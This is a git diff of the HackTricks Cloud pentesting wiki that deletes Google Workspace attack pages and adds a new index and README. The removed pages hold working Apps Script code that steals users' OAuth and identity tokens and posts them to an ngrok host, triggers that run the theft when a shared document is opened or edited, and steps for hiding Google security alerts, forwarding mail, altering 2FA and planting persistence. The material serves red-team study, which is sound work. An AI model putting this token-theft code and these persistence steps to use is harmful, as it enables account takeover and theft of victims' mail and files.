-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## App Scripts
-
-App Scripts is **code that will be triggered when a user with editor permission access the doc the App Script is linked with** and after **accepting the OAuth prompt**.\
-They can also be set to be **executed every certain time** by the owner of the App Script (Persistence).
-
-### Create App Script
-
-There are several ways to create an App Script, although the most common ones are f**rom a Google Document (of any type)** and as a **standalone project**:
-
-<details>
-
-<summary>Create a container-bound project from Google Docs, Sheets, or Slides</summary>
-
-1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.
-2. Click **Extensions** > **Google Apps Script**.
-3. In the script editor, click **Untitled project**.
-4. Give your project a name and click **Rename**.
-
-</details>
-
-<details>
-
-<summary>Create a standalone project</summary>
-
-To create a standalone project from Apps Script:
-
-1. Go to [`script.google.com`](https://script.google.com/).
-2. Click add **New Project**.
-3. In the script editor, click **Untitled project**.
-4. Give your project a name and click **Rename**.
-
-</details>
-
-<details>
-
-<summary>Create a standalone project from Google Drive</summary>
-
-1. Open [Google Drive](https://drive.google.com/).
-2. Click **New** > **More** > **Google Apps Script**.
-
-</details>
-
-<details>
-
-<summary>Create a container-bound project from Google Forms</summary>
-
-1. Open a form in Google Forms.
-2. Click More more\_vert > **Script editor**.
-3. In the script editor, click **Untitled project**.
-4. Give your project a name and click **Rename**.
-
-</details>
-
-<details>
-
-<summary>Create a standalone project using the clasp command line tool</summary>
-
-`clasp` is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.
-
-See the [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) for more details.
-
-</details>
-
-## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>
-
-### Create Google Sheet with App Script
-
-Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to **`Extensions > App Scripts`**, this will open a **new App Script for you linked to the sheet**.
-
-### Leak token
-
-In order to give access to the OAuth token you need to click on **`Services +` and add scopes like**:
-
-* **AdminDirectory**: Access users and groups of the directory (if the user has enough permissions)
-* **Gmail**: To access gmail data
-* **Drive**: To access drive data
-* **Google Sheets API**: So it works with the trigger
-
-To change yourself the **needed scopes** you can go to project settings and enable: **`Show "appsscript.json" manifest file in editor`.**
-
-{% code overflow="wrap" %}
-```javascript
-function getToken() {
-  var userEmail = Session.getActiveUser().getEmail();
-  var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
-  var oauthToken = ScriptApp.getOAuthToken();
-  var identityToken = ScriptApp.getIdentityToken();
-  
-  // Data json
-  data = {
-    "oauthToken": oauthToken,
-    "identityToken": identityToken,
-    "email": userEmail,
-    "domain": domain
-  }
-
-  // Send data
-  makePostRequest(data);
-  
-  // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
-  
-  // To ask for AdminDirectory permissions
-  var pageToken = "";
-  page = AdminDirectory.Users.list({
-    domain: domain,  // Use the extracted domain
-    orderBy: 'givenName',
-    maxResults: 100,
-    pageToken: pageToken
-  });
-
-  // To ask for gmail permissions
-  var threads = GmailApp.getInboxThreads(0, 10);
-
-  // To ask for drive permissions
-  var files = DriveApp.getFiles();
-}
-
-
-function makePostRequest(data) {
-  var url = 'http://5.tcp.eu.ngrok.io:12027';
-  
-  var options = {
-    'method' : 'post',
-    'contentType': 'application/json',
-    'payload' : JSON.stringify(data)
-  };
-  
-  try {
-    UrlFetchApp.fetch(url, options);
-  } catch (e) {
-    Logger.log("Error making POST request: " + e.toString());
-  }
-}
-```
-{% endcode %}
-
-To capture the request you can just run:
-
-```bash
-ngrok tcp 4444
-nc -lv 4444 #macOS
-```
-
-Permissions requested to execute the App Script:
-
-<figure><img src="../../../.gitbook/assets/image (334).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="warning" %}
-As an external request is made the OAuth prompt will also **ask to permission to reach external endpoints**.
-{% endhint %}
-
-### Create Trigger
-
-Once the App is read, click on **⏰ Triggers** to create a trigger. As **function** ro tun choose **`getToken`**, runs at deployment **`Head`**, in event source select **`From spreadsheet`** and event type select **`On open`** or **`On edit`** (according to your needs) and save.
-
-Note that you can check the **runs of the App Scripts in the Executions tab** if you want to debug something.
-
-### Sharing
-
-In order to **trigger** the **App Script** the victim needs to connect with **Editor Access**.
-
-{% hint style="success" %}
-The **token** used to execute the **App Script** will be the one of the **creator of the trigger**, even if the file is opened as Editor by other users.
-{% endhint %}
-
-### Abusing Shared With Me documents
-
-{% hint style="danger" %}
-If someone **shared with you a document with App Scripts and a trigger using the Head** of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the **App Script will be executed with the permissions of the user that shared the document with you**! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).
-
-A **notification will be sent to the creator of the script indicating that someone modified the script** (What about using gmail permissions to generate a filter to prevent the alert?)
-{% endhint %}
-
-{% hint style="success" %}
-If an **attacker modifies the scopes of the App Script** the updates **won't be applied** to the document until a **new trigger** with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.
-{% endhint %}
-
-### Copying instead of sharing
-
-When you create a link to share a document a link similar to this one is created: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
-If you **change** the ending **"/edit"** for **"/copy"**, instead of accessing it google will ask you if you want to **generate a copy of the document:**
-
-<figure><img src="../../../.gitbook/assets/image (335).png" alt=""><figcaption></figcaption></figure>
-
-If the user copies it an access it both the **contents of the document and the App Scripts will be copied**, however the **triggers are not**, therefore **nothing will be executed**.
-
-### Sharing as Web Application
-
-Note that it's also possible to **share an App Script as a Web application** (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:
-
-<figure><img src="../../../.gitbook/assets/image (337).png" alt=""><figcaption></figcaption></figure>
-
-Followed by the **typical OAuth prompt asking** for the needed permissions.
-
-### Testing
-
-You can test a gathered token to list emails with:
-
-{% code overflow="wrap" %}
-```bash
-curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
--H "Authorization: Bearer <token>"
-```
-{% endcode %}
-
-List calendar of the user:
-
-```bash
-curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-     -H "Accept: application/json" \
-     "https://www.googleapis.com/calendar/v3/users/me/calendarList"
-```
-
-## App Script as Persistence
-
-One option for persistence would be to **create a document and add a trigger for the the getToken** function and share the document with the attacker so every-time the attacker opens the file he **exfiltrates the token of the victim.**
-
-It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has **compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day**:
-
-Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:
-
-<figure><img src="../../../.gitbook/assets/image (336).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="danger" %}
-This will create a security alert email and a push message to your mobile alerting about this.
-{% endhint %}
-
-### Shared Document Unverified Prompt Bypass
-
-Moreover, if someone **shared** with you a document with **editor access**, you can generate **App Scripts inside the document** and the **OWNER (creator) of the document will be the owner of the App Script**.
-
-{% hint style="warning" %}
-This means, that the **creator of the document will appear as creator of any App Script** anyone with editor access creates inside of it.
-
-This also means that the **App Script will be trusted by the Workspace environment** of the creator of the document.
-{% endhint %}
-
-{% hint style="danger" %}
-This also means that if an **App Script already existed** and people have **granted access**, anyone with **Editor** permission on the doc can **modify it and abuse that access.**\
-To abuse this you also need people to trigger the App Script. And one neat trick if to **publish the script as a web app**. When the **people** that already granted **access** to the App Script access the web page, they will **trigger the App Script** (this also works using `<img>` tags).
-{% endhint %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/workspace-security/gws-persistence.md b/pentesting-cloud/workspace-security/gws-persistence.md
deleted file mode 100644
index d4b446fd1..000000000
--- a/pentesting-cloud/workspace-security/gws-persistence.md
+++ /dev/null
@@ -1,210 +0,0 @@
-# GWS - Persistence
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-{% hint style="danger" %}
-All the actions mentioned in this section that change setting will generate a **security alert to the email and even a push notification to any mobile synced** with the account.
-{% endhint %}
-
-## **Persistence in Gmail**
-
-* You can create **filters to hide** security notifications from Google
-  * `from: (no-reply@accounts.google.com) "Security Alert"`
-  * This will prevent security emails to reach the email (but won't prevent push notifications to the mobile)
-
-<details>
-
-<summary>Steps to create a gmail filter</summary>
-
-(Instructions from [**here**](https://support.google.com/mail/answer/6579))
-
-1. Open [Gmail](https://mail.google.com/).
-2. In the search box at the top, click Show search options ![photos tune](https://lh3.googleusercontent.com/cD6YR_YvqXqNKxrWn2NAWkV6tjJtg8vfvqijKT1_9zVCrl2sAx9jROKhLqiHo2ZDYTE=w36) .
-3. Enter your search criteria. If you want to check that your search worked correctly, see what emails show up by clicking **Search**.
-4. At the bottom of the search window, click **Create filter**.
-5. Choose what you’d like the filter to do.
-6. Click **Create filter**.
-
-Check your current filter (to delete them) in [https://mail.google.com/mail/u/0/#settings/filters](https://mail.google.com/mail/u/0/#settings/filters)
-
-</details>
-
-<figure><img src="../../.gitbook/assets/image (331).png" alt=""><figcaption></figcaption></figure>
-
-* Create **forwarding address to forward sensitive information** (or everything) - You need manual access.
-  * Create a forwarding address in [https://mail.google.com/mail/u/2/#settings/fwdandpop](https://mail.google.com/mail/u/2/#settings/fwdandpop)
-  * The receiving address will need to confirm this
-  * Then, set to forward all the emails while keeping a copy (remember to click on save changes):
-
-<figure><img src="../../.gitbook/assets/image (332).png" alt=""><figcaption></figcaption></figure>
-
-It's also possible create filters and forward only specific emails to the other email address.
-
-## App passwords
-
-If you managed to **compromise a google user session** and the user had **2FA**, you can **generate** an [**app password**](https://support.google.com/accounts/answer/185833?hl=en) (follow the link to see the steps). Note that **App passwords are no longer recommended by Google and are revoked** when the user **changes his Google Account password.**
-
-**Even if you have an open session you will need to know the password of the user to create an app password.**
-
-{% hint style="info" %}
-App passwords can **only be used with accounts that have 2-Step Verification** turned on.
-{% endhint %}
-
-## Change 2-FA and similar
-
-It's also possible to **turn off 2-FA or to enrol a new device** (or phone number) in this page [**https://myaccount.google.com/security**](https://myaccount.google.com/security)**.**\
-**It's also possible to generate passkeys (add your own device), change the password, add mobile numbers for verification phones and recovery, change the recovery email and change the security questions).**
-
-{% hint style="danger" %}
-To **prevent security push notifications** to reach the phone of the user, you could **sign his smartphone out** (although that would be weird) because you cannot sign him in again from here.
-
-It's also possible to **locate the device.**
-{% endhint %}
-
-**Even if you have an open session you will need to know the password of the user to change these settings.**
-
-## Persistence via OAuth Apps
-
-If you have **compromised the account of a user,** you can just **accept** to grant all the possible permissions to an **OAuth App**. The only problem is that Workspace can be configure to **disallow unreviewed external and/or internal OAuth apps.**\
-It is pretty common for Workspace Organizations to not trust by default external OAuth apps but trust internal ones, so if you have **enough permissions to generate a new OAuth application** inside the organization and external apps are disallowed, generate it and **use that new internal OAuth app to maintain persistence**.
-
-Check the following page for more information about OAuth Apps:
-
-{% content-ref url="gws-google-platforms-phishing/" %}
-[gws-google-platforms-phishing](gws-google-platforms-phishing/)
-{% endcontent-ref %}
-
-## Persistence via delegation
-
-You can just **delegate the account** to a different account controlled by the attacker (if you are allowed to do this). In Workspace **Organizations** this option must be **enabled**. It can be disabled for everyone, enabled from some users/groups or for everyone (usually it's only enabled for some users/groups or completely disabled).
-
-<details>
-
-<summary>If you are a Workspace admin check this to enable the feature</summary>
-
-(Information [copied form the docs](https://support.google.com/a/answer/7223765))
-
-As an administrator for your organization (for example, your work or school), you control whether users can delegate access to their Gmail account. You can let everyone have the option to delegate their account. Or, only let people in certain departments set up delegation. For example, you can:
-
-* Add an administrative assistant as a delegate on your Gmail account so they can read and send email on your behalf.
-* Add a group, such as your sales department, in Groups as a delegate to give everyone access to one Gmail account.
-
-Users can only delegate access to another user in the same organization, regardless of their domain or their organizational unit.
-
-#### Delegation limits & restrictions
-
-* **Allow users to grant their mailbox access to a Google group** option: To use this option, it must be enabled for the OU of the delegated account and for each group member's OU. Group members that belong to an OU without this option enabled can't access the delegated account.
-* With typical use, 40 delegated users can access a Gmail account at the same time. Above-average use by one or more delegates might reduce this number.
-* Automated processes that frequently access Gmail might also reduce the number of delegates who can access an account at the same time. These processes include APIs or browser extensions that access Gmail frequently.
-* A single Gmail account supports up to 1,000 unique delegates. A group in Groups counts as one delegate toward the limit.
-* Delegation does not increase the limits for a Gmail account. Gmail accounts with delegated users have the standard Gmail account limits and policies. For details, visit [Gmail limits and policies](https://support.google.com/a/topic/28609).
-
-#### Step 1: Turn on Gmail delegation for your users
-
-**Before you begin:** To apply the setting for certain users, put their accounts in an [organizational unit](https://support.google.com/a/topic/1227584).
-
-1.  [Sign in](https://admin.google.com/) to your [Google Admin console](https://support.google.com/a/answer/182076).
-
-    Sign in using an _administrator account_, not your current account CarlosPolop@gmail.com
-2. In the Admin console, go to Menu ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![and then](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**User settings**.
-3. To apply the setting to everyone, leave the top organizational unit selected. Otherwise, select a child [organizational unit](https://support.google.com/a/topic/1227584).
-4. Click **Mail delegation**.
-5. Check the **Let users delegate access to their mailbox to other users in the domain** box.
-6. (Optional) To let users specify what sender information is included in delegated messages sent from their account, check the **Allow users to customize this setting** box.
-7. Select an option for the default sender information that's included in messages sent by delegates:
-   * **Show the account owner and the delegate who sent the email**—Messages include the email addresses of the Gmail account owner and the delegate.
-   * **Show the account owner only**—Messages include the email address of only the Gmail account owner. The delegate email address is not included.
-8. (Optional) To let users add a group in Groups as a delegate, check the **Allow users to grant their mailbox access to a Google group** box.
-9. Click **Save**. If you configured a child organizational unit, you might be able to **Inherit** or **Override** a parent organizational unit's settings.
-10. (Optional) To turn on Gmail delegation for other organizational units, repeat steps 3–9.
-
-Changes can take up to 24 hours but typically happen more quickly. [Learn more](https://support.google.com/a/answer/7514107)
-
-#### Step 2: Have users set up delegates for their accounts
-
-After you turn on delegation, your users go to their Gmail settings to assign delegates. Delegates can then read, send, and receive messages on behalf of the user.
-
-For details, direct users to [Delegate and collaborate on email](https://support.google.com/a/users/answer/138350).
-
-</details>
-
-<details>
-
-<summary>From a regular suer, check here the instructions to try to delegate your access</summary>
-
-(Info copied [**from the docs**](https://support.google.com/mail/answer/138350))
-
-You can add up to 10 delegates.
-
-If you're using Gmail through your work, school, or other organization:
-
-* You can add up to 1000 delegates within your organization.
-* With typical use, 40 delegates can access a Gmail account at the same time.
-* If you use automated processes, such as APIs or browser extensions, a few delegates can access a Gmail account at the same time.
-
-1. On your computer, open [Gmail](https://mail.google.com/). You can't add delegates from the Gmail app.
-2. In the top right, click Settings ![Settings](https://lh3.googleusercontent.com/p3J-ZSPOLtuBBR_ofWTFDfdgAYQgi8mR5c76ie8XQ2wjegk7-yyU5zdRVHKybQgUlQ=w36-h36) ![and then](https://lh3.googleusercontent.com/3_l97rr0GvhSP2XV5OoCkV2ZDTIisAOczrSdzNCBxhIKWrjXjHucxNwocghoUa39gw=w36-h36) **See all settings**.
-3. Click the **Accounts and Import** or **Accounts** tab.
-4. In the "Grant access to your account" section, click **Add another account**. If you’re using Gmail through your work or school, your organization may restrict email delegation. If you don’t see this setting, contact your admin.
-   * If you don't see Grant access to your account, then it's restricted.
-5.  Enter the email address of the person you want to add. If you’re using Gmail through your work, school, or other organization, and your admin allows it, you can enter the email address of a group. This group must have the same domain as your organization. External members of the group are denied delegation access.\
-    \
-    **Important:** If the account you delegate is a new account or the password was reset, the Admin must turn off the requirement to change password when you first sign in.
-
-    * [Learn how an Admin can create a user](https://support.google.com/a/answer/33310).
-    * [Learn how an Admin can reset passwords](https://support.google.com/a/answer/33319).
-
-    6\. Click **Next Step** ![and then](https://lh3.googleusercontent.com/QbWcYKta5vh_4-OgUeFmK-JOB0YgLLoGh69P478nE6mKdfpWQniiBabjF7FVoCVXI0g=h36) **Send email to grant access**.
-
-    The person you added will get an email asking them to confirm. The invitation expires after a week.
-
-    If you added a group, all group members will become delegates without having to confirm.
-
-    Note: It may take up to 24 hours for the delegation to start taking effect.
-
-</details>
-
-## Persistence via Android App
-
-If you have a **session inside victims google account** you can browse to the **Play Store** and might be able to **install malware** you have already uploaded to the store directly **to the phone** to maintain persistence and access the victims phone.
-
-## **Persistence via** App Scripts
-
-You can create **time-based triggers** in App Scripts, so if the App Script is accepted by the user, it will be **triggered** even **without the user accessing it**. For more information about how to do this check:
-
-{% content-ref url="gws-google-platforms-phishing/gws-app-scripts.md" %}
-[gws-app-scripts.md](gws-google-platforms-phishing/gws-app-scripts.md)
-{% endcontent-ref %}
-
-## References
-
-* [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
-* [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md b/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md
deleted file mode 100644
index 30bbf4d6a..000000000
--- a/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md
+++ /dev/null
@@ -1,87 +0,0 @@
-# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## GCPW - Google Credential Provider for Windows
-
-This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
-
-{% hint style="success" %}
-Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
-{% endhint %}
-
-Find more information about this in:
-
-{% content-ref url="gcpw-google-credential-provider-for-windows.md" %}
-[gcpw-google-credential-provider-for-windows.md](gcpw-google-credential-provider-for-windows.md)
-{% endcontent-ref %}
-
-## GCSD - Google Cloud Directory Sync
-
-This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
-
-It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
-
-{% hint style="success" %}
-Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
-{% endhint %}
-
-Find more information about this in:
-
-{% content-ref url="gcds-google-cloud-directory-sync.md" %}
-[gcds-google-cloud-directory-sync.md](gcds-google-cloud-directory-sync.md)
-{% endcontent-ref %}
-
-## GPS - Google Password Sync
-
-This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
-
-It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
-
-{% hint style="success" %}
-Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
-{% endhint %}
-
-Find more information about this in:
-
-{% content-ref url="gps-google-password-sync.md" %}
-[gps-google-password-sync.md](gps-google-password-sync.md)
-{% endcontent-ref %}
-
-## Admin Directory Sync
-
-The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
-
-Find more information about this in:
-
-{% content-ref url="gws-admin-directory-sync.md" %}
-[gws-admin-directory-sync.md](gws-admin-directory-sync.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/src/README.md b/src/README.md
new file mode 100644
index 000000000..e8b2b0355
--- /dev/null
+++ b/src/README.md
@@ -0,0 +1,36 @@
+# HackTricks Cloud
+
+Reading time: {{ #reading_time }}
+
+{{#include ./banners/hacktricks-training.md}}
+
+<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
+
+_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
+
+> [!TIP]
+> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+
+### **Pentesting CI/CD Methodology**
+
+**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+
+[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
+
+### Pentesting Cloud Methodology
+
+**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+
+[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
+
+### License & Disclaimer
+
+**Check them in:**
+
+[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
+
+### Github Stats
+
+![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
+
+{{#include ./banners/hacktricks-training.md}}
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
new file mode 100644
index 000000000..f3c2f74f8
--- /dev/null
+++ b/src/SUMMARY.md
@@ -0,0 +1,503 @@
+# SUMMARY.md
+
+# 👽 Welcome!
+
+- [HackTricks Cloud](README.md)
+- [About the Author$$external:https://book.hacktricks.xyz/welcome/about-the-author$$]()
+- [HackTricks Values & faq$$external:https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq$$]()
+
+# 🏭 Pentesting CI/CD
+
+- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
+- [Github Security](pentesting-ci-cd/github-security/README.md)
+  - [Abusing Github Actions](pentesting-ci-cd/github-security/abusing-github-actions/README.md)
+    - [Gh Actions - Artifact Poisoning](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md)
+    - [GH Actions - Cache Poisoning](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md)
+    - [Gh Actions - Context Script Injections](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md)
+  - [Accessible Deleted Data in Github](pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md)
+  - [Basic Github Information](pentesting-ci-cd/github-security/basic-github-information.md)
+- [Gitea Security](pentesting-ci-cd/gitea-security/README.md)
+  - [Basic Gitea Information](pentesting-ci-cd/gitea-security/basic-gitea-information.md)
+- [Concourse Security](pentesting-ci-cd/concourse-security/README.md)
